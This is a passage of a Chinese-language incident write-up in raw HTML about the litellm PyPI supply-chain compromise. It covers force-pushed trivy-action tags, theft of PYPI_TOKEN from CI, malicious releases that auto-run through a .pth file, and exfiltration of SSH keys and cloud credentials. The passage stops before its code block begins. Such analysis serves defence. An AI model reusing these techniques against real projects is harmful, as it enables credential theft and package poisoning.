rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">UI 构建</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Proxy E2E Azure Batches Tests</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ active</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">E2E 测试</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">CodSpeed Benchmarks</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ active</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">性能基准测试</span></p></td></tr></tbody></table><h3 data-line="113" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">已移除的工作流</span></h3><p data-line="115" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">根据 PR <a class="wx_topic_link" topic-id="mn63vx41-ttfmrt" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24541</a>，以下工作流已被移除：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">publish-migrations</span></code><p><span leaf=""> - 迁移发布工作流</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">reset_stable</span></code><p><span leaf=""> - 稳定版本重置工作流</span></p></li></ul><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="121" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">安全事件关键发现</span></h2><h3 data-line="123" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击手法</span></h3><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">依赖劫持</span></strong><p><span leaf="">: 通过 trivvy 安全扫描工具获得 PyPI 发布权限</span></p></li><li><strong><span leaf="">版本注入</span></strong><p><span leaf="">: 发布 v1.82.7 和 v1.82.8 两个恶意版本</span></p></li><li><strong><span leaf="">持久化</span></strong><p><span leaf="">: v1.82.8 使用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">litellm_init.pth</span></code><span leaf=""> 实现自动执行</span></p></li><li><strong><span leaf="">数据窃取</span></strong><p><span leaf="">: 收集 SSH 密钥、API keys、云凭据等敏感信息</span></p></li><li><strong><span leaf="">加密外发</span></strong><p><span leaf="">: 使用 AES-256-CBC + RSA-4096 加密后发送到攻击者域名</span></p></li></ol><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="133" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🔐 Trivy → PyPI Token 窃取攻击链详解</span></h2><h3 data-line="135" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1️⃣ 攻击背景：Trivy 本身被入侵</span></h3><p data-line="137" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">核心事实</span></strong><span leaf="">：攻击者首先攻陷了 Trivy 安全扫描工具的供应链，然后通过 Trivy 的依赖链进一步攻击 litellm。</span></p><p data-line="139" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">Trivy 被攻击方式</span></strong><span leaf="">：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">Trivy 的一个依赖包被篡改</span></p></li><li><p><span leaf="">攻击者在 Trivy 的代码中植入恶意逻辑</span></p></li><li><p><span leaf="">当 Trivy 运行时，恶意代码会窃取 CI/CD 环境中的敏感信息</span></p></li></ul><h3 data-line="144" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🔥 关键发现：标签强制推送攻击</span></h3><p data-line="146" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">攻击手法</span></strong><span leaf="">：攻击者通过强制推送（force push）修改了 trivy-action 仓库的 76+ 个版本标签，使其指向恶意代码。</span></p><p data-line="148" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">具体操作</span></strong><span leaf="">：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">获取仓库权限</span></strong><p><span leaf="">：攻击者通过第一次攻击（2026-02-28）获得了仓库的访问权限</span></p></li><li><strong><span leaf="">创建恶意提交</span></strong><p><span leaf="">：攻击者创建了一个包含恶意代码的提交</span></p></li><li><strong><span leaf="">强制推送标签</span></strong><p><span leaf="">：攻击者强制推送了 76+ 个版本标签（v0.0.1 到 v0.34.0），使这些标签指向恶意提交</span></p></li><li><strong><span leaf="">覆盖历史版本</span></strong><p><span leaf="">：所有使用这些标签的用户都会自动下载并执行恶意代码</span></p></li></ol><p data-line="154" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">技术细节</span></strong><span leaf="">：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">攻击者使用了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git push --force</span></code><span leaf=""> 命令覆盖现有标签</span></p></li><li><p><span leaf="">标签原本指向安全的提交，被强制修改后指向恶意提交</span></p></li><li><p><span leaf="">由于 GitHub Actions 默认信任版本标签，用户会自动下载恶意版本</span></p></li><li><p><span leaf="">攻击时间窗口：2026-03-19 17:43 UTC 到 2026-03-20 05:40 UTC（约12小时）</span></p></li></ul><h3 data-line="160" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2️⃣ 关键攻击手法：标签强制推送（Force Push）</span></h3><p data-line="162" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">攻击者如何部署恶意代码</span></strong><span leaf="">： 攻击者通过 </span><strong><span leaf="">强制推送（force push）</span></strong><span leaf=""> 76+ 个 trivy-action GitHub Actions 标签，将原本安全的标签指向恶意提交。</span></p><p data-line="165" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">具体操作</span></strong><span leaf="">：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">获取仓库访问权限</span></strong><p><span leaf="">：攻击者通过第一次攻击（2026-02-28）获得了仓库的访问凭证</span></p></li><li><strong><span leaf="">创建恶意提交</span></strong><p><span leaf="">：在 fork 中创建包含恶意代码的提交</span></p></li><li><strong><span leaf="">强制推送标签</span></strong><p><span leaf="">：将 trivy-action 仓库中 76+ 个版本标签（v0.0.1 到 v0.34.0）强制推送到指向恶意提交</span></p></li><li><strong><span leaf="">覆盖历史标签</span></strong><p><span leaf="">：所有 0.35.0 之前的标签都被重新指向恶意代码</span></p></li></ol><p data-line="171" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">技术细节</span></strong><span leaf="">：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">攻击者使用了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git push --force</span></code><span leaf=""> 命令覆盖现有标签</span></p></li><li><p><span leaf="">标签原本指向安全的提交，被强制推送到指向恶意提交</span></p></li><li><p><span leaf="">恶意提交包含窃取环境变量的代码，包括 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PYPI_TOKEN</span></code></p></li></ul><h3 data-line="176" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2️⃣ 攻击路径：从 Trivy 到 PyPI Token</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="178" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">┌─────────────────┐</span><span leaf=""><br/></span><span leaf="">│  Trivy 被攻陷   │</span><span leaf=""><br/></span><span leaf="">│ (依赖链投毒)    │</span><span leaf=""><br/></span><span leaf="">└────────┬────────┘</span><span leaf=""><br/></span><span leaf="">         │</span><span leaf=""><br/></span><span leaf="">         ▼</span><span leaf=""><br/></span><span leaf="">┌─────────────────┐</span><span leaf=""><br/></span><span leaf="">│ Trivy 在        │</span><span leaf=""><br/></span><span leaf="">│ litellm CI/CD   │</span><span leaf=""><br/></span><span leaf="">│ 中运行          │</span><span leaf=""><br/></span><span leaf="">└────────┬────────┘</span><span leaf=""><br/></span><span leaf="">         │</span><span leaf=""><br/></span><span leaf="">         ▼</span><span leaf=""><br/></span><span leaf="">┌─────────────────┐</span><span leaf=""><br/></span><span leaf="">│ 窃取 GitHub     │</span><span leaf=""><br/></span><span leaf="">│ Actions 环境中  │</span><span leaf=""><br/></span><span leaf="">│ 的 PYPI_TOKEN   │</span><span leaf=""><br/></span><span leaf="">└────────┬────────┘</span><span leaf=""><br/></span><span leaf="">         │</span><span leaf=""><br/></span><span leaf="">         ▼</span><span leaf=""><br/></span><span leaf="">┌─────────────────┐</span><span leaf=""><br/></span><span leaf="">│ 使用窃取的      │</span><span leaf=""><br/></span><span leaf="">│ Token 发布恶意  │</span><span leaf=""><br/></span><span leaf="">│ 版本到 PyPI     │</span><span leaf=""><br/></span><span leaf="">└─────────────────┘</span></code></pre><h3 data-line="206" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3️⃣ 技术细节</span></h3><p data-line="208" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">Trivy 如何获得 Token</span></strong><span leaf="">：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p data-line="210" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">CI/CD 环境变量</span></strong><span leaf="">：</span></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">litellm 的 GitHub Actions 工作流中配置了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PYPI_TOKEN</span></code></p></li><li><p><span leaf="">该 Token 用于自动发布新版本到 PyPI</span></p></li><li><p><span leaf="">Token 以 GitHub Secrets 形式存储</span></p></li></ul><li><p data-line="215" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">Trivy 的执行时机</span></strong><span leaf="">：</span></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">Trivy 作为安全扫描工具在 CI/CD 流程中运行</span></p></li><li><p><span leaf="">通常在 PR 合并或推送时触发</span></p></li><li><p><span leaf="">拥有读取环境变量的权限</span></p></li></ul><li><p data-line="220" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">恶意代码执行</span></strong><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;"><code data-line="221" 